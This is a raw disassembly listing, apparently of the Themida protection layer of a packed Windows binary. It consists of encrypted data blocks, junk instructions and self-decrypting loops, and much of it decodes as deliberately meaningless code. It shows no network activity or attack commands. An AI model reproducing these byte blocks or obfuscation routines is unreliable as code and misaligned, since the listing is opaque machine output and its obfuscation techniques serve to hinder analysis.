		dd 0B985C775h, 7E422h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3ADCC356h
		dd 215D1D50h, 6503D21h,	11E8h, 70BC2E00h, 1C0242BBh, 9AF8C881h
		dd 0F008036Fh, 11E9BAF9h, 23000000h, 78D04613h,	0B6376160h
		dd 0AB890CD9h, 0B1A24753h, 0BB665058h, 895F5E92h, 0E4166DBDh
		dd 59B5FF07h, 8B07E40Ah, 6195FFF3h, 6A07E430h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B2AC356h, 0E4054595h, 0FF006A07h, 0E40E4195h
; ---------------------------------------------------------------------------


loc_5F4958:				; DATA XREF: Themida_:00582DE8o
		pop	es
		mov	eax, eax


loc_5F495B:				; CODE XREF: Themida_:005F49AAj
		jmp	short loc_5F4995
; ---------------------------------------------------------------------------
		db 0ABh, 68h, 2Fh
		dd 0A8A40F88h, 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh
		dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h,	992E7378h
		dd 492FCFF3h, 0AC3008C3h, 0FC88B654h
		db 6Dh
; ---------------------------------------------------------------------------


loc_5F4995:				; CODE XREF: Themida_:loc_5F495Bj
		call	near ptr loc_5F49AC+1
		push	ss
		add	[eax+43FCF60Bh], bh
		pushf
		jecxz	short near ptr loc_5F49DF+3
		push	ebx
		call	near ptr 72097A80h
		ja	short loc_5F495B


loc_5F49AC:				; CODE XREF: Themida_:loc_5F4995p
		db	3Eh
		pop	ebx
		mov	esi, ebx
		add	ebx, 628Eh
		mov	ecx, 0
		push	ecx
		mov	[ebp+7E431B1h],	edi
		pop	edi


loc_5F49C3:				; CODE XREF: Themida_:005F4A3Bj
		push	dword ptr [ecx+ebx]
		xor	edx, [ebp+7E40B25h]
		pop	eax
		add	edi, 27C718B0h
		add	eax, 4BF9BA25h
		mov	[ebp+7E418D9h],	ecx


loc_5F49DF:				; CODE XREF: Themida_:005F49A2j
		add	eax, 55E872FAh
		jmp	loc_5F49F2
; ---------------------------------------------------------------------------
		dw 0A4CEh
		dd 0ED925579h
		db 0A7h, 9
; ---------------------------------------------------------------------------


loc_5F49F2:				; CODE XREF: Themida_:005F49E5j
		sub	eax, 7348D235h
		mov	esi, [ebp+7E40EE9h]
		mov	[ebx+ecx], eax
		jbe	loc_5F4A13
		jnp	loc_5F4A13
		or	[ebp+7E41BD1h],	eax


loc_5F4A13:				; CODE XREF: Themida_:005F4A01j
					; Themida_:005F4A07j
		jmp	loc_5F4A2C
; ---------------------------------------------------------------------------
		dd 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 0FAF6E1AFh, 0C1CAA718h
; ---------------------------------------------------------------------------


loc_5F4A2C:				; CODE XREF: Themida_:loc_5F4A13j
		sub	ecx, 4
		add	[ebp+7E412DDh],	eax
		cmp	ecx, 0FFFF9E18h
		jnz	loc_5F49C3
		movzx	esi, bx
		call	near ptr loc_5F4A5B+2
		and	[ebx], edx
		cld
		dec	esi
		mov	eax, 0AEE5BC59h
		push	0FFFFFFF7h
		scasd
		mov	esi, 48683ED6h
		push	esi


loc_5F4A5B:				; CODE XREF: Themida_:005F4A44p
		add	dword ptr [edx-45h], 2CF57680h
		pop	esi
		push	edi
		mov	dx, 9A72h
		pop	ebx
		add	esi, 5B8Dh
		adc	bh, 0CEh
		mov	edi, 16B1h
		mov	dx, 0D4F6h


loc_5F4A7B:				; CODE XREF: Themida_:005F4B04j
		mov	eax, [esi]
		mov	ecx, 1E6EC5C6h
		xor	eax, 33DF1339h
		mov	ebx, [ebp+7E43065h]
		add	eax, 5E35FDB9h
		mov	[ebp+7E41AD5h],	edx
		sub	eax, 1845AC68h
		mov	[ebp+7E40DA9h],	ecx
		push	eax
		mov	[ebp+7E41851h],	edx
		pop	dword ptr [esi]
		jbe	loc_5F4ABB
		mov	ebx, [ebp+7E41AE5h]


loc_5F4ABB:				; CODE XREF: Themida_:005F4AAFj
		sub	esi, 2
		push	edi
		jmp	loc_5F4AD5
; ---------------------------------------------------------------------------
		dd 89EDD51h, 0E1534D85h, 2F10D72h, 0ABA1A5A9h
		db 0EBh
; ---------------------------------------------------------------------------


loc_5F4AD5:				; CODE XREF: Themida_:005F4ABFj
		pop	ebx
		dec	esi
		dec	esi
		clc
		sub	edi, 1
		jnz	loc_5F4AFE
		mov	[ebp+7E40DE5h],	esi ; CODE XREF: Themida_:005F4B1Dj
		jmp	loc_5F4B16
; ---------------------------------------------------------------------------
		db 96h,	34h, 0BCh
		dd 952B7136h, 4CE56A84h, 1FE4AB1Ch
		db 0EAh, 5Dh
; ---------------------------------------------------------------------------


loc_5F4AFE:				; CODE XREF: Themida_:005F4ADCj
		and	ebx, 42E6DF18h
		jmp	loc_5F4A7B
; ---------------------------------------------------------------------------
		db 7, 0E8h, 7Ah
; ---------------------------------------------------------------------------
		sub	esp, [ebp+ebp*4+21h]
		push	ecx
		push	0A41A8445h


loc_5F4B16:				; CODE XREF: Themida_:005F4AE8j
		call	sub_5F4B2A
		inc	ebp
		outsb
		jnb	short near ptr loc_5F4AE2+1
		rcr	dword ptr [edi+3Bh], cl
		sub	cl, 0DEh
		wait
		adc	al, 0BCh
		push	ss
		inc	esi

; =============== S U B	R O U T	I N E =======================================



sub_5F4B2A	proc near		; CODE XREF: Themida_:loc_5F4B16p
		jnb	loc_5F4B33
		mov	bx, di


loc_5F4B33:				; CODE XREF: sub_5F4B2Aj
		pop	edi
		sbb	bh, 4Dh
		add	edi, 59D7h
		ja	loc_5F4B48
		mov	ecx, 5198FB84h


loc_5F4B48:				; CODE XREF: sub_5F4B2A+13j
		push	1648h
		pop	esi
		add	[ebp+7E42ED9h],	edi


loc_5F4B54:				; CODE XREF: sub_5F4B2A+98j
		push	dword ptr [edi]
		mov	ebx, 17117597h
		pop	eax
		mov	bl, 0DDh
		sub	eax, 6D898372h
		mov	ecx, 6CBD0AE3h
		xor	eax, 5E66C18Eh
		or	[ebp+7E40E31h],	eax
		xor	eax, 128A4E6Dh
		add	[ebp+7E41675h],	ecx
		mov	[edi], eax
		mov	edx, [ebp+7E42A05h]
		sub	edi, 2		; CODE XREF: sub_5F4B2A+B1j
		mov	ecx, [ebp+7E402CDh]
		dec	edi
		dec	edi
		jmp	loc_5F4B9F
; ---------------------------------------------------------------------------
		db 0B0h, 0A1h, 48h
		db 49h,	0E6h, 38h
; ---------------------------------------------------------------------------


loc_5F4B9F:				; CODE XREF: sub_5F4B2A+6Aj
		sub	esi, 1
		jnz	loc_5F4BBC
		mov	cx, 0DEC9h
		jmp	loc_5F4BD6
; ---------------------------------------------------------------------------
		db 3Bh,	1Bh, 0ADh
		dd 0E9CBA3FEh, 89788FF5h
; ---------------------------------------------------------------------------


loc_5F4BBC:				; CODE XREF: sub_5F4B2A+78j
		add	[ebp+7E42659h],	esi
		jmp	loc_5F4B54
; ---------------------------------------------------------------------------
		lea	edi, [edx]
		pop	es
		fimul	dword ptr [ebx-488BC967h]
		and	[edi-1Ch], cl
		inc	ebx
		inc	esp
		icebp


loc_5F4BD6:				; CODE XREF: sub_5F4B2A+82j
		call	near ptr loc_5F4BE4+4
		jnb	short near ptr loc_5F4B89+2
		enter	18FFh, 0B2h
		db	65h
		push	ebx
		pop	ecx


loc_5F4BE4:				; CODE XREF: sub_5F4B2A:loc_5F4BD6p
		adc	eax, 2B596949h
sub_5F4B2A	endp ; sp-analysis failed

		popf
		mov	eax, ds:5A07E413h
		mov	bh, 54h
		add	edx, 5F98h
		mov	[ebp+7E424EDh],	eax
		mov	esi, 17B1h
		or	di, 89A6h


loc_5F4C07:				; CODE XREF: Themida_:005F4C9Bj
		push	dword ptr [edx]
		clc
		pop	ecx
		push	edx
		mov	ebx, 85D5723h
		pop	ebx
		add	ecx, 5B799D2Eh
		add	ax, 0C93Dh
		sub	ecx, 2D7FFDFEh
		mov	di, 412Dh
		xor	ecx, 856CDBEh
		call	near ptr loc_5F4C3A+1
		dec	ebp
		pop	esp
		and	bl, [ecx+66h]
		fisub	dword ptr [edx+ebx]


loc_5F4C3A:				; CODE XREF: Themida_:005F4C2Dp
		les	ecx, [ecx-1BD5CE6Bh]
		pop	es
		pop	eax
		push	ecx
		mov	[ebp+7E42D35h],	eax
		pop	dword ptr [edx]
		pusha
		jmp	loc_5F4C5E
; ---------------------------------------------------------------------------
		db 98h,	0F7h, 4Dh
		dd 0BDD876BDh, 0EEB39153h
		db 27h,	83h
; ---------------------------------------------------------------------------


loc_5F4C5E:				; CODE XREF: Themida_:005F4C4Cj
		mov	dx, 4B3Dh
		popa
		sub	edx, 49D655E3h
		mov	[ebp+7E423A1h],	ebx
		add	edx, 49D655DFh
		mov	eax, [ebp+7E4093Dh]
		sub	esi, 1
		jnz	loc_5F4C95
		mov	ah, 77h
		jmp	loc_5F4CB3
; ---------------------------------------------------------------------------
		db 0DDh
		dd 138DBDFAh, 0CBD16008h
		db 0F7h
; ---------------------------------------------------------------------------


loc_5F4C95:				; CODE XREF: Themida_:005F4C7Ej
		mov	[ebp+7E40375h],	esi
		jmp	loc_5F4C07
; ---------------------------------------------------------------------------
		dd 2594A8F9h, 0A53B98FCh, 1053A66Bh, 779A70F5h
		db 8Eh,	98h, 0Dh
; ---------------------------------------------------------------------------


loc_5F4CB3:				; CODE XREF: Themida_:005F4C86j
					; DATA XREF: Themida_:0058482Co ...
		inc	edx
		lodsb
		xor	al, 0A2h
		push	es
		and	al, 7Ch
		mov	ds:3BB37D7Ah, al
		mov	edi, 2181D40Eh
		sub	dh, [ebx+eax*4+6F302590h]
		setalc
		and	eax, 98A78630h

locret_5F4CD1:				; CODE XREF: Themida_:005F4D2Dj
		leave
		mov	esi, esi
		and	dh, [eax]
		mov	[ebp-7B79CF4Ch], ecx
		cmpsb
		lea	eax, [edi+6Ch]
		sal	dword ptr [edi], 86h
		mov	eax, cs:259086B4h
		test	byte ptr [ebx],	65h
		or	esp, edx
		sub	dword ptr [edx-33h], 25128634h
		jo	short loc_5F4D48
		dec	ebx
		lea	esp, [eax+0Dh]
		rol	byte ptr [ecx],	34h
		or	eax, 0A274AC42h
		and	eax, 6933CF7Dh
		sub	ah, dl
		add	ebp, 0C33697A0h
		and	cl, bh
		push	esi
		cdq
		aad	0F6h
		add	esp, [ecx+ecx]
		aam	81h
		retf	34CDh
; ---------------------------------------------------------------------------
		dw 4286h
; ---------------------------------------------------------------------------
		and	eax, 8D635170h
		pusha
		or	eax, 0D3401D4h
		dec	eax
		lodsb
		jz	short locret_5F4CD1
		and	[ebp-31h], bh
		xor	edx, ebx
		or	edx, esp
		add	dword ptr [eax+22633697h], 0DDC956CFh
		mov	[esi+6F302521h], edx
		cwde


loc_5F4D48:				; CODE XREF: Themida_:005F4CF5j
		and	eax, 2AEE8630h
		mov	ch, 88h
		and	al, 25h
		xor	bh, cl
		sbb	esp, ebp
		aas
		add	edi, ecx
		fcmove	st, st(7)
		jns	short loc_5F4DC9
		sub	[eax], dh
		xchg	al, [edx-58h]
		lodsd
		popa
		outsb
		sal	dword ptr [edi], 3Eh
		xchg	eax, ebp
		and	eax, 0C6B78630h
		mov	ebp, 0DB0D0C3Bh
		sbb	dword ptr [edi-1D513758h], 0A1948822h
		adc	eax, 0E48DADB6h
		fld	dword ptr [edx+eax*2+6A234ACh]
		and	al, 7Ch
		mov	ds:3BB37D7Ah, al
		mov	edi, 2181D40Eh
		sub	dh, [ebx+eax*4+6F302590h]
		setalc
		and	eax, 0E9838630h
		add	eax, 22B9A4F3h
; ---------------------------------------------------------------------------
		dw 0
		dd 0DE800h, 0B9C80000h,	0E0BBDE89h, 0F880AD1Dh,	0B81F0462h
		dd 7533C722h, 6DC3815Bh, 66000066h
		db 0BAh
; ---------------------------------------------------------------------------


loc_5F4DC9:				; CODE XREF: Themida_:005F4D5Aj
		adc	edx, ebp
		xor	esi, esi
		sub	[ebp+7E4209Dh],	edi


loc_5F4DD3:				; CODE XREF: Themida_:loc_5F4E5Fj
		mov	ecx, [ebx+esi]
		and	eax, 0F78E839h
		sub	ecx, 5A3049E4h
		or	[ebp+7E42099h],	ecx
		sub	ecx, 21883B5Eh
		add	ax, 5F62h
		sub	ecx, 4279C95Ah
		xor	edx, [ebp+7E40385h]
		mov	[ebx+esi], ecx
		mov	[ebp+7E41EF9h],	esi
		mov	edx, [ebp+7E42649h]
		sub	esi, 1
		js	loc_5F4E1D
		or	[ebp+7E401F5h],	edi


loc_5F4E1D:				; CODE XREF: Themida_:005F4E11j
		dec	esi
		dec	esi
		dec	esi
		cld
		cmp	esi, 0FFFF9A54h
		jnz	loc_5F4E56
		call	near ptr loc_5F4E38+2
		rcr	cl, 0A6h
		and	[edx+esi*8], edx


loc_5F4E38:				; CODE XREF: Themida_:005F4E2Dp
		xor	[edi+66h], eax
		mov	eax, 0E95873DCh
		das
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0B3B56E2h, 6268088Bh, 2DF33794h, 152BF154h
		db 0F3h, 8Bh
; ---------------------------------------------------------------------------


loc_5F4E56:				; CODE XREF: Themida_:005F4E27j
		jnb	loc_5F4E5F
		mov	dx, cx


loc_5F4E5F:				; CODE XREF: Themida_:loc_5F4E56j
		jmp	loc_5F4DD3
; ---------------------------------------------------------------------------
		dd 0D4B4A57Ah, 0F7A88248h, 311894DDh, 8DD6D36Dh, 0EB2A5C8Dh
		dd 28C0F07h, 52000000h,	9858958h, 8907E422h, 0E41B718Dh
		dd 85C7F907h, 7E42DA1h,	5A40h, 0B8E099BEh, 0B985C710h
		dd 7E422h, 23000000h, 0E41CE99Dh, 11B5FF07h, 6A07E418h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0F7C9C357h, 0FAC23544h, 0C6BF0F0Ch, 306195FFh
		dd 41B207E4h, 95FF006Ah, 7E40E41h, 6FEBC08Bh, 2E173DBEh
		dd 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 0B86D94D0h
		dd 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h,	8D640B96h
		dd 6ACE9154h, 8D8ED297h, 0D96B3666h, 323E60AFh,	537B966Dh
		dd 17810597h, 0DA123962h, 2DDAD28h, 0B1DC605Dh,	0A5A42A7Ah
		dd 0BC640CBEh, 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h
		dd 1CFE9CD0h, 0E99B4FBDh, 23h, 58DCAE26h, 7 dup(0)
		dd 0E9000000h, 85Fh, 0C5597B53h, 22B6D6AFh, 8216300Ch
		dd 0E5798D6Ch, 44D8F4CFh, 0F1CC856Bh, 512B41D5h, 0AB899F33h
		dd 0EEB0195h, 0FFAF62F6h, 0A98AFD82h, 85145913h, 42A08577h
		dd 1B331014h, 87276887h, 0A508BA37h, 0ED5613A6h, 0F00CE7B5h
		dd 5169465Ch, 566E4B19h, 6F17E01Eh, 67FB13F0h, 780B6F90h
		dd 0AF8B29D8h, 84E48395h, 0D000000h, 275F7B56h,	12627E59h
		dd 0A04C33B0h, 0A10A1442h, 0C28BC98Fh, 0A4C09B82h, 1DC63910h
		dd 600FE05Ch, 2F000000h, 0A98D36BDh, 37971145h,	0AC6FFB08h
		dd 0A3788AD8h, 0CCB33092h, 4F1442A0h, 9F085973h, 7C98738Dh
		dd 3914B244h, 0BBF30FEAh, 0F48FC720h, 0A017E9E2h, 58C21442h
		dd 627C58F6h, 5F248F2Ah, 0FB1442A0h, 0A3E38092h, 8E0986F8h
		dd 0B2EA08E2h, 2D13B717h, 25B6F4Eh, 0DFFBD6F0h,	3B7D4Bh
		dd 560C0000h, 1522C7Bh,	37D20A26h, 0B20BA6DEh, 9045F062h
		dd 5083141Eh, 48E6783Eh, 821D5569h, 0B1867770h,	35111442h
		dd 3A15E31Bh, 8205E61Eh, 64805BC2h, 0BDE96C0Bh,	37CBE7C2h
		dd 1BF49266h, 0A0F08704h, 0F55E1442h, 28678A9Ch, 57D43686h
		dd 1442A0A0h, 0D5B3C52Eh, 0A6BB3258h, 1F57C013h, 0C75B7551h
		dd 83BBD5B1h, 7BCBE3ACh, 42A9A0FEh, 0D45AE14h, 58C77F56h
		dd 3A522F7Ch, 7A0E6702h, 366E8864h, 8A92E289h, 49FDC41Bh
		dd 4CE0FAD6h, 72454D7Bh, 42A00EF5h, 0D763CC14h,	448BE4F8h
		dd 39B618AAh, 1442A042h, 91E2F6D5h, 92411628h, 0EE0016F4h
		dd 98DFF7D4h, 0FAD6744Eh, 95F9CEE0h, 0E55FE59Ah, 2B5Bh
		dd 454D8400h, 15922269h, 1442A06Eh, 923C83ECh, 607A5639h
		dd 19F49219h, 0D6EBEBFDh, 469Eh, 0AA862400h, 31BD5890h
		dd 552A3C54h, 1969454Dh, 0A0453AB7h, 0F7D61442h, 0BF10ABE3h
		dd 0D6ECCA56h, 1592EFC4h, 1442A06Eh, 9CB491ABh,	0FC79C964h
		dd 1442A007h, 0CA116AD3h, 0F4923992h, 2BC6FE18h, 923FF19h
		dd 565B70C2h, 7C296179h, 144621F1h, 4C3373F0h, 1CE3606Fh
		dd 0BA144622h, 0F32B3F1Eh, 12A6FF58h, 9DE3C638h, 4B2D7B68h
		dd 28441F39h, 244722F0h, 0E6548813h, 0FD358EEFh, 38542Fh
		dd 53D5532h, 0E802DE6Ah, 0FDA972B0h, 11AFB9B5h,	0B4921E32h
		dd 0B7EF8C9Eh, 3DD1EDC8h, 571A9966h, 313EE0h, 56670000h
		dd 52296179h, 0BF21713Dh, 42A0BD42h, 9EB01914h,	0BE1943C0h
		dd 47B713A6h, 1C9FD718h, 0B1015A93h, 0E41C3813h, 0D713749h
		dd 8C69D490h, 560FE074h, 0AF116179h, 42A04D32h,	50A00914h
		dd 42A02CD3h, 2F41AA14h, 0D775D769h, 8C73DEFEh,	4A1442A0h
		dd 0E3ACCFE1h, 0B7197BCBh, 0B9243C19h, 1442A0C2h, 1C152790h
		dd 13A6A14Ah, 84A07B19h, 85A57E4Ch, 4E49CC2Ch, 0DF272BDAh
		dd 3585EECDh, 7B1BFCC3h, 2234093Eh, 0F50DEA00h,	5C4C10BDh
		dd 773597D4h, 0D0E2FED9h, 2F0C7333h, 906D8317h,	26694078h
		dd 0BD9A3888h, 0C0D26DA5h, 808765E2h, 0B9559FF1h, 0F08BC3DDh
		dd 805C23A0h, 91FA8079h, 68CAA438h, 798014EBh, 8FAD8780h
		dd 26BBC57h, 454D1BF0h,	9D7B1969h, 0A2B44F87h, 5621AACDh
		dd 1AC65A79h, 0EC580673h, 7D4E4C93h, 5FE59A95h,	0A57E1CE5h
		dd 4ED47385h, 0F4000000h, 0C3B3B82h, 3AB8182Eh,	4136B38Fh
		dd 0D1742D7h, 64394BA4h, 2269454Dh, 0A06E1592h,	8BED1442h
		dd 42A0690Eh, 885E514h,	1442A073h, 0B1D76DFh, 927CC32Ch
		dd 2D7A5639h, 96DD3652h, 20925B70h, 38527C19h, 0F8CADC17h
		dd 2Ch,	62454D87h, 0E4EEF631h, 2067C075h, 0A06E1592h, 0CDAB1442h
		dd 42A0AB50h, 65BE2714h, 5639921Eh, 9E5A597Ah, 79586F05h
		dd 5B70D920h, 29617956h, 4621F17Ch, 3373F014h, 0E3606F4Ch
		dd 1446221Ch, 22B93EBBh, 0AC151446h, 4999F25Bh,	22956AE7h
		dd 0D8411446h, 0B38EA4C6h, 0B6915F97h, 5B24629Ah, 3D59342Bh
		dd 8F2DD2A9h, 63AAE057h, 0D3000000h, 29617956h,	21713D52h
		dd 1BE05DBFh, 0B71442A0h, 91433C4Eh, 4013A6B9h,	20ACC6A2h
		dd 36152747h, 733195CDh, 0B9EF9411h, 515C13A6h,	0FDB602DBh
		dd 0EE0069BAh, 0F4661551h, 14E039FFh, 9B60DDF5h, 3713A657h
		dd 496375CEh, 2B45216Ch, 0AFFF58F3h, 572BD04Dh,	3EA713A6h
		dd 0B7456DEh, 0FB0D41F7h, 795608D9h, 0F9972961h, 9A77031Dh
		dd 424D7082h, 659F1C6Ch, 2B13A683h, 925D2EC2h, 85F619F4h
		dd 73136A52h, 597C8EE7h, 0AA2E7539h, 61795621h,	957D4E1Ah
		dd 0E55FE59Ah, 435Bh, 454D8400h, 15922269h, 1442A06Eh
		dd 680F8CECh, 0E61442A0h, 36D4247Dh, 6F0A4258h,	3092885Dh
		dd 649CB692h, 56E2B7C9h, 7019607Ah, 8C73F052h, 4A1442A0h
		dd 9FE81E1h, 208C2EF9h,	269E390Eh, 2D000000h, 2269454Dh
		dd 0A06E1592h, 0C4AB1442h, 9239927Dh, 0AEB07520h, 0ECFE70A2h
		dd 95DCF6D2h, 0D5B45270h, 0DCEE89C1h, 61795607h, 32E99F11h
		dd 0F15EB120h, 0E98719DFh, 21BCF40Ch, 1417160Fh, 0D8A1446h
		dd 39B02259h, 99BD9261h, 0D8B5CFE1h, 39162CC0h,	0E557E921h
		dd 5355A392h, 9571FDE9h, 96A8437Bh, 42921C73h, 4F6342E0h
		dd 9C56443Dh, 9B0413A2h, 0AED3AD4Bh, 884FDDFAh,	95CD2622h
		dd 0ECC6E8FAh, 107D237Ah, 3C4E3E2Eh, 69454D67h,	19F49222h
		dd 182AC5FDh, 7956C952h, 20921A61h, 951BFCE2h, 97B9CB09h
		dd 0E59A95C6h, 445BE55Fh, 84000000h, 2269454Dh,	0A06E1592h
		dd 83EC1442h, 9239923Ch, 0A0CCB330h, 218A1442h,	0FF19F50Fh
		dd 1E3211AFh, 5B70370Ch, 349Eh,	45C22400h, 1442A0BEh, 0A0DBA01Dh
		dd 0E771442h, 4F454BDh,	6F8CE593h, 4D6F4456h, 3E5C3645h
		dd 0CB126B06h, 0A06E1592h, 0C4AB1442h, 5639927Dh, 7019607Ah
		dd 2E79565Bh, 64FF3753h, 86DFFFD8h, 21ACA14Eh, 98151446h
		dd 330FADECh, 10ED0719h, 188A64F8h, 535D10Ch, 435D6F26h
		dd 3F164E66h, 910E5E50h, 13A284EFh, 8E68FC65h, 0C1F915F0h
		dd 923F1426h, 0BDC78420h, 9570B329h, 4DA64179h,	347A183Bh
		dd 9221AAEDh, 0A0CCB330h, 734F1442h, 4F9F0859h,	42A02DD2h
		dd 2E40A914h, 0CF1F3714h, 0A00BF06Dh, 5EC71442h, 7D4E774Ch
		dd 0FC1AF492h, 0E6200FEAh, 3AD5E55Fh, 0FE000000h, 0F572454Dh
		dd 1442A00Eh, 0FED763CCh, 0B20BA6DEh, 0B330926Bh, 1442A0CCh
		dd 0B8BEC97Bh, 97E8DD78h, 0C13E1C2Eh, 14426D3Ah, 92E82F98h
		dd 607A5639h, 9E5B7019h, 2Bh, 9D20922Dh, 0F80DD673h, 558DAD86h
		dd 2C4F61BAh, 92014866h, 42A06E15h, 7DC4AB14h, 16F492h
		dd 3D1B2DC8h, 607A56E4h, 565B7019h, 52296179h, 0A421713Dh
		dd 13A692CEh, 0D9C11C8Ch, 6ECEECC6h, 0EC45E169h, 58563958h
		dd 46258B08h, 0D234144Dh, 8D57AE55h, 0B4902C1Bh, 502F419Ah
		dd 578C73F0h, 320F1B8Dh, 0F647E21Ah, 2EFC348Dh,	8FA53951h
		dd 0D0629AB2h, 1D61685Eh, 970C54D9h, 6F86A883h,	726B7DD6h
		dd 44BA4E3Eh, 93CBE5C1h, 96CEEAC5h, 9CD49057h, 0D649FD7Ah
		dd 0F391E1F9h, 2AC5FD17h, 3E0F618h, 89C1DDB8h, 698962EEh
		dd 53D9631h, 7E3D5837h,	8889F1E8h, 23DA126Bh, 4825184Ch
		dd 0A9869C30h, 3D35991h, 62000000h, 7E563E8Dh, 7956245Ch
		dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
		dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 83000000h
		dd 48704E8h, 14895C24h,	20596824h, 0C890000h, 446F6824h
		dd 34890000h, 54685224h, 5A4E931Dh, 0DAF7DAF7h
		dd 37A9F281h, 81524978h, 15982434h, 81595DBEh, 0BE1598F1h
		dd 0D3685A5Dh, 89000035h, 4812424h, 424h, 89505E00h, 8BB53C8h
		dd 1000000h, 5B0389F3h,	2434FF58h, 4C4815Eh, 8B000000h
		dd 8957240Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 4AADE95Ch
		dd 8F67FFF9h, 7A86D45Ah, 32A2CE59h, 0B81535A9h,	7EB32C8h
		dd 0E0FFC503h, 52314E61h, 0EF90DB1h, 346269C5h,	11A71D75h
		dd 3C183A42h, 702AD36Ch, 5E82DA27h, 0C3C6F21h, 79C137CBh
		dd 26BA9D27h, 4936D896h, 0FE8h,	3D43EB00h, 0FB97990Ah
		dd 69ED9450h, 80C09485h, 68D0Fh, 0C1810000h, 5F764A80h
		dd 0AE95Bh, 3FAB0000h, 218C9F1Fh, 0FB09AEC2h, 7080C381h
		dd 0F7810000h, 35E331A5h, 0BAh,	0B2B86600h, 1A34FF27h
		dd 8360B966h, 0FBE1BF5Eh, 0C6811A75h, 527CFFDDh, 10E960h
		dd 0F62C0000h, 3A49245Fh, 57A4CCBBh, 5B302DB7h,	0ACB865E9h
		dd 612352B9h, 78C8C681h, 0AE97E3Ah, 2A000000h, 6A21E4A5h
		dd 41C63590h, 44C68129h, 0F5419D5h, 58Bh, 0C8816600h, 348934B2h
		dd 0CAB96613h, 81E28A1Fh, 77E9F6EAh, 74B86664h,	0F2C28159h
		dd 666477E9h, 81D075B9h, 0FF9044FAh, 82850FFFh,	0E9FFFFFFh
		dd 5, 9807E8EAh, 438D8D5Ch, 6A07EB35h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0BECBC352h
		dd 245F0E99h, 1B718D89h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0F4D807C3h, 0BE9B5F0h
		dd 0D4000000h, 0AC4BC82h, 0EF3B6A1Ah, 85C7F44Bh, 7E42DA1h
		dd 7110h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0BAC35242h, 0D781AAEAh,	672FA89Ch, 22B985C7h, 7E4h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 1B84A4C3h, 7A5A9D64h, 51858985h, 907E423h
		dd 0E40E618Dh, 0DFBF0F07h, 6A5B5FFh, 0BA6607E4h, 95FF67EBh
		dd 7E43061h, 2C6DB501h,	6AFC07E4h, 4195FF00h
		db 0Eh,	0E4h
; ---------------------------------------------------------------------------


loc_5F59CE:				; DATA XREF: Themida_:005832ECo
		pop	es
		mov	eax, eax
		jmp	short loc_5F5A10
; ---------------------------------------------------------------------------
		aas
		db	26h
		or	ebx, esp
		push	ebp
		les	ecx, [ebp-64h]
		lds	esi, [edx]
		retn	8161h
; ---------------------------------------------------------------------------
		dd 0EB8EE85Bh, 0FD771F67h, 672F8D01h, 6D12AA13h, 0A46D0876h
		dd 0DEE5EC96h, 3D8926BFh, 267F0D88h, 35F915C9h,	1384DC65h
		dd 886214D1h, 31D0B5E8h
; ---------------------------------------------------------------------------


loc_5F5A10:				; CODE XREF: Themida_:005F59D1j
		lea	ecx, [ebp+7EB3641h]
		clc
		mov	[ebp+7E42B39h],	edi
		mov	[ebp+7E41B71h],	ecx
		jmp	loc_5F5A2E
; ---------------------------------------------------------------------------
		fmul	dword ptr [esi+7625B61Bh]


loc_5F5A2E:				; CODE XREF: Themida_:005F5A23j
		mov	dword ptr [ebp+7E42DA1h], 6D3Ch
		push	0
		push	esi
		call	sub_5F5A43
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5A43	proc near		; CODE XREF: Themida_:005F5A3Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5F5A43	endp

; ---------------------------------------------------------------------------
		pop	es
		mov	eax, ds:0BD8B0675h
		fld	qword ptr [esp]
		pop	es
		mov	ebx, [ebp+7E426F9h]
		mov	dword ptr [ebp+7E422B9h], 0
		push	0
		push	edi
		call	sub_5F5A78
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5A78	proc near		; CODE XREF: Themida_:005F5A70p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5F5A78	endp

; ---------------------------------------------------------------------------
		dd 0BD38D464h, 956493F3h, 9EF8BFC7h, 7E84596h, 0D2000000h
		dd 6203294Bh, 0B58BED2Dh, 7E424ADh, 15B5FF5Eh, 8A07E41Eh
		dd 198D29FEh, 0FF07E426h, 0E4306195h, 9D8B5207h, 7E41C15h
		dd 0FF006A5Ah, 0E40E4195h, 0EBC08B07h, 0C9C31879h, 95CDFCE8h
		dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh
		dd 9838096Dh, 14DA3687h, 0C8C9E3DDh, 0A4BFEC30h, 43025398h
		dd 0CC61C74Ah, 2AD9ECEAh, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah
		dd 32A2CE59h, 0DD1535A9h, 138DBDFAh, 0CBD16008h, 0BB7126F7h
		dd 9544D79Dh, 582EF027h, 0F694E312h, 17049A77h,	48BBC66Fh
		dd 11377253h, 0FF4659Dh, 1147D850h, 8D8DBF8Dh, 7EB375Dh
		dd 0A198D89h, 8D8907E4h, 7E41B71h, 15D5CA81h, 85C70FA4h
		dd 7E42DA1h, 5E04h, 5E8h, 7EECC100h, 9589D51Eh,	7E40F85h
